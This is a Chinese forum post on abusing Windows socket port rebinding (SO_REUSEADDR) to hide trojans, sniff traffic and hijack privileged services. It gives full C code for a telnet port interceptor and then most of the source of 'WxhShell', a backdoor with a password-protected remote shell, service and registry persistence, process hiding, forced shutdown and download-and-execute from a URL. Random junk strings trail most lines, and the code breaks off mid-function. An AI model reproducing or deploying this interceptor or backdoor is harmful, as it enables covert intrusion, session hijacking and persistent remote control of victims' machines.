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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `Ns@W?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %2dzx[s  
u3qx G3  
  saddr.sin_family = AF_INET; AJB NM  
sm'_0EUg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E`_T_O=P  
4F.,Y3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P `@Rt  
bu6Sp3g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A{;"e^a-^l  
jC[_uG  
  这意味着什么?意味着可以进行如下的攻击: Q(-&}cY  
8>WA5:]v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cdkEK  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +pG+ xI  
V/H+9+B7Im  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2F*>&n&Db7  
zx<PX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  db,?b>,EE  
v|~=rvXFC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T1$p%yQH  
(" :Dz_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?xv."I%  
uz+ WVmb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nxV!mh_  
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  #include 6oLOA}q   
  #include PP$2s]{  
  #include AP%R*0]  
  #include    +&)/dHbL`]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #z>I =gl  
  int main() ?&9=f\/P  
  { *K_8=TIA*  
  WORD wVersionRequested; 0IqGy}+VU  
  DWORD ret; M`K]g&57hL  
  WSADATA wsaData; mW!n%f  
  BOOL val; ^vM6_=g2E%  
  SOCKADDR_IN saddr; &,<,!j)Jr  
  SOCKADDR_IN scaddr; RiAg:  
  int err; Htr]_<@  
  SOCKET s; s9"X.-!  
  SOCKET sc; wbF`wi?  
  int caddsize; er24}G8  
  HANDLE mt; !%M,x~H  
  DWORD tid;   }0\SNpVN  
  wVersionRequested = MAKEWORD( 2, 2 ); 5B|.cOE  
  err = WSAStartup( wVersionRequested, &wsaData ); s"#N;  
  if ( err != 0 ) { 4vi?9MPz  
  printf("error!WSAStartup failed!\n"); bL* b>R[x  
  return -1; Gr\jjf`  
  } w;}5B~).  
  saddr.sin_family = AF_INET; Nb:j]U  
   nG3SDL#(k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n\D/WLvM  
`XE>Td>Bs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Dk sn  
  saddr.sin_port = htons(23); Drtg7v{@\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M2ex 3m  
  { G{6@]72  
  printf("error!socket failed!\n"); 8D`+3  
  return -1; Xj+_"0 #  
  } I2HV{1(i  
  val = TRUE; p5E okh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @C@9Tw2Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QyL]-zNg  
  { oy jkk  
  printf("error!setsockopt failed!\n"); vkJyD/;=  
  return -1; `:7r5}(^  
  } kM4z %  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e@V J-s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |DW^bv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BMO,eQcB  
XdDQ$'*X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SujEF` "  
  { CC!`fX6z>h  
  ret=GetLastError(); Pi=FnS  
  printf("error!bind failed!\n"); PTe$dPB  
  return -1; 5P<1I7d  
  } 0vLx={i  
  listen(s,2); V<|N}8{Z2a  
  while(1) pSC{0Y$g  
  { ~rO&Y{aG#  
  caddsize = sizeof(scaddr); 9\?&u_ U"  
  //接受连接请求 EsWB|V>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @F(er  
  if(sc!=INVALID_SOCKET) N)cODy([  
  { u q 9mq"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !QAndg{;D  
  if(mt==NULL) vcy1itY  
  { 5!9y nIC+>  
  printf("Thread Creat Failed!\n"); EwG+' nlE  
  break; ?MSZO]Q4+  
  } HLz<C  
  } ha|2u(4  
  CloseHandle(mt); X~m57 b j  
  } vM5I2C3_>!  
  closesocket(s); p&Nav,9x  
  WSACleanup(); {(-923|,  
  return 0; z^gz kXx7  
  }   j,].88H  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,9 ^ 5  
  { [wSoZBl  
  SOCKET ss = (SOCKET)lpParam; An(gHi;1$  
  SOCKET sc; v,ecNuy*d  
  unsigned char buf[4096]; @>U9CL"  
  SOCKADDR_IN saddr; wH@< 0lw`<  
  long num; 2&'uO'K  
  DWORD val; jo"+_)]  
  DWORD ret; jN{k }  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i: -IZL\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _3wJ;cn.  
  saddr.sin_family = AF_INET; qDswFs(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !-qk1+<h  
  saddr.sin_port = htons(23); o"RE4s\G~r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YRZw|H{>t  
  { Bz ,D4 E$  
  printf("error!socket failed!\n"); p=[dt  
  return -1; 7Y~5gn  
  } R-n%3oh  
  val = 100; 7>7n|N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P[H`]q|  
  { n}Thc6f3D  
  ret = GetLastError(); Rq(+zL(f  
  return -1; mhIGunK;+  
  } zB y%$5~Fw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u]B b^[  
  { 0|va}m`<3G  
  ret = GetLastError(); 5r8 [ "  
  return -1; G2[2y-Rv  
  } 0j;|IU\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HSG9|}$  
  { #F .8x@  
  printf("error!socket connect failed!\n"); < :eKXH2  
  closesocket(sc); .w m<l:  
  closesocket(ss); ZPM7R3%V)z  
  return -1; T5pc%%q  
  } <5]_u:  
  while(1) 4mBM5Tv  
  { UlN}SddI9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L}8 }Pns?&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #9"lL1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b N>Ar  
  num = recv(ss,buf,4096,0); rf$[8d  
  if(num>0) \2@9k`  
  send(sc,buf,num,0); )tV]h#4  
  else if(num==0) $a\X(okx  
  break; tvzO)&)$  
  num = recv(sc,buf,4096,0); hhjsg?4uL  
  if(num>0) *X|%H-Q:H`  
  send(ss,buf,num,0); Dh{P23}  
  else if(num==0) 5.0;xz}#y  
  break; QKz2ONV=)  
  } 6*ZZ)W<  
  closesocket(ss);  :i?c  
  closesocket(sc); 3joMtRB>;  
  return 0 ; \hzx?  
  } 3_VWtGQ  
Vyx&MU.-J  
jq/{|<0  
========================================================== &xlOsr/n  
YRl4?}r2  
下边附上一个代码,,WXhSHELL v Ma$JPauI  
71&`6#  
========================================================== kgmb<4p  
jS/$ o?  
#include "stdafx.h" U/(R_U>=  
jaux:fU  
#include <stdio.h> dnPr2oI?I  
#include <string.h> ~}~ yR*K%  
#include <windows.h> /s:akLBaD  
#include <winsock2.h> >273V+dy  
#include <winsvc.h> g ]}] /\  
#include <urlmon.h> 1^;&?E  
[iSLn3XXRX  
#pragma comment (lib, "Ws2_32.lib") x~yd/ R  
#pragma comment (lib, "urlmon.lib") [qt^gy)  
S 1Ji\  
#define MAX_USER   100 // 最大客户端连接数 1 gRR  
#define BUF_SOCK   200 // sock buffer .fW`/BXE  
#define KEY_BUFF   255 // 输入 buffer V|0UwS\n  
VKrKA71Z~  
#define REBOOT     0   // 重启 Z3T26Uk  
#define SHUTDOWN   1   // 关机 7xT<|3 I  
p@znmn-  
#define DEF_PORT   5000 // 监听端口 D3 E!jQ1  
2gjA>ET`N  
#define REG_LEN     16   // 注册表键长度 s{j3F  
#define SVC_LEN     80   // NT服务名长度 zwHTtE  
`Sj8<O}  
// 从dll定义API CV7.hF<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z!j`Qoh?V9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WHF:> 0B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2,%ne(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s*}d`"YvH  
0$49X  
// wxhshell配置信息 b}G +7B  
struct WSCFG { :Ws3+OI'm3  
  int ws_port;         // 监听端口 Nb{oH+$b  
  char ws_passstr[REG_LEN]; // 口令 qm}7w3I^  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1-gX=8]]  
  char ws_regname[REG_LEN]; // 注册表键名 C{S6Ri  
  char ws_svcname[REG_LEN]; // 服务名 ln!KL'T]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4';['  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X}bgRzj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <~8W>Y\m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tv|=`~Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )ZmE"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Bp6Evi  
-XY]WWlq  
}; (/Y gcT  
&c@I4RV|q  
// default Wxhshell configuration ZNA?`Z)f  
struct WSCFG wscfg={DEF_PORT, ?,),%JQ  
    "xuhuanlingzhe", RMrt4:-DI  
    1, gA) F  
    "Wxhshell", uTJ?@ ^nq  
    "Wxhshell", sQH.}W$C  
            "WxhShell Service", )d1,}o  
    "Wrsky Windows CmdShell Service", T@ HozZ  
    "Please Input Your Password: ", 1X9sx&5H  
  1, n2O7n @8  
  "http://www.wrsky.com/wxhshell.exe", uc"u@ _M  
  "Wxhshell.exe" wLUmRo56aR  
    }; >zhbipA  
O 1X !  
// 消息定义模块 Hm^p^,}_x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {S&&X&A`v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *AN#D?X_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |m EJJg`"7  
char *msg_ws_ext="\n\rExit."; %yrP: fg/  
char *msg_ws_end="\n\rQuit."; g%[Ruugu  
char *msg_ws_boot="\n\rReboot..."; IH0^*f  
char *msg_ws_poff="\n\rShutdown..."; 9VY_gi=vL  
char *msg_ws_down="\n\rSave to "; #5I "M WA  
t[ MRyi)LF  
char *msg_ws_err="\n\rErr!"; ?^+|V,<  
char *msg_ws_ok="\n\rOK!"; BzUx@,  
lJ,s}l7  
char ExeFile[MAX_PATH]; xO@OkCue  
int nUser = 0; p.IfJ|  
HANDLE handles[MAX_USER]; Y\x Xo?  
int OsIsNt; QtzHr  
<z4!m/f [(  
SERVICE_STATUS       serviceStatus; *ZEs5`x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pV+;/y_  
Kj>_XaFCg!  
// 函数声明 : R&tO3_F  
int Install(void); d16 PY_  
int Uninstall(void); /kq~*s  
int DownloadFile(char *sURL, SOCKET wsh); }R'oAE}$  
int Boot(int flag); yI;Qb7|^  
void HideProc(void); 0nd<6S+fs  
int GetOsVer(void); MLb\:Ihy  
int Wxhshell(SOCKET wsl); G j:|  
void TalkWithClient(void *cs); \dMsv1\  
int CmdShell(SOCKET sock); [)=FZF6kG  
int StartFromService(void); P$QfcJq&c*  
int StartWxhshell(LPSTR lpCmdLine); 3WVHI$A9  
O#|E7;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &pAT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pQhv3F  
w {q YP  
// 数据结构和表定义 Vqr&)i"b$  
SERVICE_TABLE_ENTRY DispatchTable[] = eyWwE%  
{ 3IxT2@H)  
{wscfg.ws_svcname, NTServiceMain}, ] 7O?c=  
{NULL, NULL} -|kDa1knA  
}; Glr.)PA  
sig_2;  
// 自我安装 3N21[i2/m  
int Install(void) ?m.4f&X  
{ C u:-<  
  char svExeFile[MAX_PATH]; h^)2:0#{I  
  HKEY key; tpD?-`9o  
  strcpy(svExeFile,ExeFile); StVv"YY  
b6(yyYdF  
// 如果是win9x系统,修改注册表设为自启动 -d~'tti  
if(!OsIsNt) { 5*r6#[S\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { koU.`l.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); td~3N,S  
  RegCloseKey(key); #]'xUgcE9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cG'Wh@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ww~0k!8,t  
  RegCloseKey(key); l9h;dI{6  
  return 0; +1%6-g4 "  
    } 7$;$4.'  
  } G!IQ<FuY  
} { 1+H\ (v  
else { FRW.  
[`lAc V<  
// 如果是NT以上系统,安装为系统服务 ;rKYWj>IR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4Ojw&ys@V  
if (schSCManager!=0) U{Z>y?V/  
{ ^J_hkw~gO  
  SC_HANDLE schService = CreateService qr 9 F  
  ( 2vC=.1k  
  schSCManager, 2 *$n?  
  wscfg.ws_svcname, wGH@I_cy>  
  wscfg.ws_svcdisp, DPOPRi~  
  SERVICE_ALL_ACCESS, Ah`dt8t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '3Ie0QO]"%  
  SERVICE_AUTO_START, s$_#T  
  SERVICE_ERROR_NORMAL, K36B9<F  
  svExeFile, ^xwFjQXx  
  NULL, (Wqhuw!u  
  NULL, wW4S@m  
  NULL, i]z i[Zo$  
  NULL, 1^3#3duV  
  NULL S8VR#  
  ); i.]zq  
  if (schService!=0) 1c!},O  
  { ~}*;Ko\  
  CloseServiceHandle(schService); xTMTkVa+B  
  CloseServiceHandle(schSCManager); [)A#9L~s=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *&]l  
  strcat(svExeFile,wscfg.ws_svcname); 2LU'C,o?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UJ[a& b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $EIkk= z  
  RegCloseKey(key); D,/9rH  
  return 0; /(aX>_7jg  
    } A2d2V**Z  
  } g OM`I+CwT  
  CloseServiceHandle(schSCManager); >``GDjcJ  
} |Y11sDa9h  
} ]r6bJ 2  
vNbA/sM  
return 1; mtHz6+  
} $@)d9u cd  
K7c8_g*>4=  
// 自我卸载 Uj)]nJX  
int Uninstall(void) iurB8~Y  
{ 0)!zhO_}  
  HKEY key; Pa +BE[z  
,m,vo_Ub  
if(!OsIsNt) { (xed(uFEK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C 5 UDez  
  RegDeleteValue(key,wscfg.ws_regname); _4$DnQ6&  
  RegCloseKey(key); (?y2@I}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IcQ!A=lB  
  RegDeleteValue(key,wscfg.ws_regname); 5QJL0fc  
  RegCloseKey(key); h$\h PLx  
  return 0; us%RQ8=k  
  } zQ}N mlk  
} !++62Lf  
} 8zWPb  
else { [Gy'0P(EQ  
~*[4DQ[\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5FI>T=QF  
if (schSCManager!=0) iGLYM-  
{ c&-$?f r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {2r7:nvR  
  if (schService!=0) x~^I/$  
  { |81N/]EER  
  if(DeleteService(schService)!=0) { 6~W E#z_  
  CloseServiceHandle(schService); ycD.:w p\'  
  CloseServiceHandle(schSCManager); YCO:bBmp:  
  return 0; W2qQKv  
  } wlg#c6#q  
  CloseServiceHandle(schService);  22~X~=  
  } w tLM c  
  CloseServiceHandle(schSCManager); mtddLd,  
} e622{dfVS  
} v^fOT5\  
lG>e6[Wc  
return 1; :0/o?'s  
} b] ?;R  
4CT9-2UC  
// 从指定url下载文件 z,YUguc|  
int DownloadFile(char *sURL, SOCKET wsh) S=SncMO nE  
{ Cpv%s 1M  
  HRESULT hr; $4JX#lkt  
char seps[]= "/"; }tO<_f))  
char *token; PM!t"[@&  
char *file; $i~`vu*  
char myURL[MAX_PATH]; y/hvH"f  
char myFILE[MAX_PATH]; :~R Fy?xRa  
i!x5T%x_  
strcpy(myURL,sURL); @|%ICG c  
  token=strtok(myURL,seps); eh4"_t  
  while(token!=NULL) S@NhEc  
  { 3MJWCo-[  
    file=token; 9= $,]M  
  token=strtok(NULL,seps); O \8G~V 5"  
  } Ia:puks=  
mIEaWE;E"  
GetCurrentDirectory(MAX_PATH,myFILE); 9R"N#w.U]  
strcat(myFILE, "\\"); <L/vNP  
strcat(myFILE, file); sNmC#,  
  send(wsh,myFILE,strlen(myFILE),0); \'tz|  
send(wsh,"...",3,0); <JM%Kn )  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^Jl!WH=20}  
  if(hr==S_OK) T ) f_W  
return 0; t0d '>  
else {}&f\6OI%  
return 1; Z;SG<  
6@;L$QYY-V  
} _|wY[YJ[  
x~Ly$A2p  
// 系统电源模块 Z)T@`B6  
int Boot(int flag) ?V:]u 3  
{ `+Z#*lj|@  
  HANDLE hToken; bK$D lBZ  
  TOKEN_PRIVILEGES tkp; `yXx[deY  
RdvTtXg  
  if(OsIsNt) { 6ri?y=-c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X3L[y\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }6,bq`MN  
    tkp.PrivilegeCount = 1; lWw!+[<:q1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; um2s^G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JX$NEq(  
if(flag==REBOOT) { V3~a!k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  zn;Hs]G  
  return 0; pXj/6+^  
} Q*&aC|b&  
else { :F w"u4WI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7a]Zws  
  return 0; EJ;0ypbG  
} r2F  
  } FoD/Q  
  else { })Mv9~&S  
if(flag==REBOOT) { cc(r,ij~4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sa(M66KkU  
  return 0; imCl{vt(kj  
} xnuv4Z}]t  
else { mc=! X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .Jat^iFj0  
  return 0; Q()RO*9  
} QDgEJ%U-  
} QD;f~fZ  
(6#yw`\  
return 1; H0b6ZA%n  
} X)iWb(@k"7  
B 6'%J  
// win9x进程隐藏模块 &Bz7fKCo  
void HideProc(void) V_A,d8=lt  
{ VfA5r`^  
Xt,,AGm}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KkL:p?@n  
  if ( hKernel != NULL ) ]1|Ql*6y,  
  { nL(%&z \4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +b,31  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xAd>",=~  
    FreeLibrary(hKernel); s3_e7D ^H  
  } PVS<QN%  
) 4L%zl7  
return; V3A>Ag+^~  
} /$Tl#   
Sd<@X@iU8D  
// 获取操作系统版本 Fx[A8G  
int GetOsVer(void) rq(~/Yc  
{ _`X#c-J  
  OSVERSIONINFO winfo; 2hwXWTSu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "X{aS}  
  GetVersionEx(&winfo); Y0u'@l_[F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |h=+&*(:  
  return 1; hr!f: D  
  else n@07$lY@;  
  return 0; T:g4D z*2\  
} {Sr=SE  
'K@{vB  
// 客户端句柄模块 A?;8%00  
int Wxhshell(SOCKET wsl) [N95.aD  
{ nvs}r%1'5  
  SOCKET wsh; VkTlPmr  
  struct sockaddr_in client; DYT -#Ht  
  DWORD myID; m]=oaj@9  
iy.%kHC  
  while(nUser<MAX_USER) @ Zgl>  
{ 3gI[]4lRH  
  int nSize=sizeof(client); Z?~d']XD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ub'%pU  
  if(wsh==INVALID_SOCKET) return 1; ^`jZKh8)h  
;&W;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lR@i`)'?U  
if(handles[nUser]==0) $nfBv f  
  closesocket(wsh); ^L8Wn6s'  
else io9xI3{  
  nUser++; # +QWi0B  
  } InPy:}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~[uV  
CmJ?_>  
  return 0; Rgfc29(8  
} pe!dm}!h[  
x'M^4{4[  
// 关闭 socket I>kiah*  
void CloseIt(SOCKET wsh) ra9cD"/J &  
{ =##s;zj(%  
closesocket(wsh); i (%tHa37  
nUser--; gaw4NZd)0  
ExitThread(0); hLyTUt~\L  
} r{q}f)  
Q9yGQu  
// 客户端请求句柄 =~\]3g  
void TalkWithClient(void *cs) Xb<DpBrk  
{ I NPYJ#%  
5U)ab3 :  
  SOCKET wsh=(SOCKET)cs; }#ep}h  
  char pwd[SVC_LEN]; #j^('K|  
  char cmd[KEY_BUFF]; >9.5-5"   
char chr[1]; Wiq{wxe  
int i,j; 0j{F^rph  
|ilv|UV  
  while (nUser < MAX_USER) { XJ:>UNf5;  
q4 Oxs  
if(wscfg.ws_passstr) { 7ZV~op2Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y NrinYw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dq YDz  
  //ZeroMemory(pwd,KEY_BUFF); e' U"`)S  
      i=0; "xDx/d8B  
  while(i<SVC_LEN) { $>'")7z  
2<[ eD`u  
  // 设置超时 SLJ&{`"7  
  fd_set FdRead; G%7 4v|cd  
  struct timeval TimeOut; S(>@:`=  
  FD_ZERO(&FdRead); })o~E  
  FD_SET(wsh,&FdRead); q:Y6fbt<7  
  TimeOut.tv_sec=8; CYPazOfj  
  TimeOut.tv_usec=0; (2 T#/$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +9CEC1-l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *%T)\\H2  
I #M%%5e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^s^ JzFw  
  pwd=chr[0]; 2gd<8a''  
  if(chr[0]==0xd || chr[0]==0xa) { 861i3OXVE>  
  pwd=0; Gh]_L+  
  break; hncS_ZA  
  } Pv/Pww \  
  i++; )|w*/JK\Z  
    } 4AY _#f5u  
*<*0".#  
  // 如果是非法用户,关闭 socket & Fg|%,fv]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -,~;qSs  
} %s$rP  
w~kHQ%A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zH)cU%I@.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2PVx++*]C  
XYqpI/s  
while(1) { XJx,9trH  
$nB-ADRu@  
  ZeroMemory(cmd,KEY_BUFF); 3[0w+{ (Q  
Yz&*PPx  
      // 自动支持客户端 telnet标准   QU^/[75Ea0  
  j=0; xab]q$n]k  
  while(j<KEY_BUFF) { 87QZun%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ="uKWt6n'  
  cmd[j]=chr[0]; V I6\   
  if(chr[0]==0xa || chr[0]==0xd) { M"=8O>NZ2  
  cmd[j]=0; CY*ngi&  
  break; EKZ$Q4YE  
  } s<A*[  
  j++; Q~fwWp-J  
    } hq/J6 M  
)t|^Nuj8  
  // 下载文件 iD>G!\&  
  if(strstr(cmd,"http://")) { `%-4>jI9-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X^zYQ6t  
  if(DownloadFile(cmd,wsh)) hc-lzYS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /635B*g  
  else 33Ssylno  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #/ OUGeJ  
  } |h5kg<Zgo  
  else { I3Lg?bZ  
%mY|  
    switch(cmd[0]) { CJzm}'NY  
  s~S?D{!  
  // 帮助 NTqo`VWe  
  case '?': { [f<"p[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q1YLq(e  
    break; oi7 3YOB  
  } c]A Y  
  // 安装 M'yO+bu  
  case 'i': { blJIto '  
    if(Install()) MV%Xhfk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )-=2w-ZX  
    else {mNdL J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "XCU'_k=  
    break; }qer   
    } rmOQ{2}  
  // 卸载 h^}_YaT\  
  case 'r': { BjM+0[HC  
    if(Uninstall()) }o-|8P:Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `vudS?  
    else +'-rTi\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Dyym<J  
    break; 31WZJm^  
    } |2z}Xm5\  
  // 显示 wxhshell 所在路径 {tPnj_|n<  
  case 'p': { m"n.Dz/S  
    char svExeFile[MAX_PATH]; \CcmePTN#x  
    strcpy(svExeFile,"\n\r"); (nGkZ}p  
      strcat(svExeFile,ExeFile); F[5S(7M 7  
        send(wsh,svExeFile,strlen(svExeFile),0); HtxLMzgz<<  
    break; br b[})}  
    } g^1r0.Sp{8  
  // 重启 j5kA^MTG  
  case 'b': { aiYo8+{!#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _*Pfp+if  
    if(Boot(REBOOT)) aC`Li^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }/20%fP  
    else { y =R aJm  
    closesocket(wsh); NdZ)[f:2  
    ExitThread(0); }d_<\  
    } DB#$~(o  
    break; `%|u!  
    } ^%;"[r  
  // 关机 sH%&+4!3  
  case 'd': { s}wO7Df=+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h0|[etaf  
    if(Boot(SHUTDOWN)) V{!lk]p}a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TZ'aNcGg  
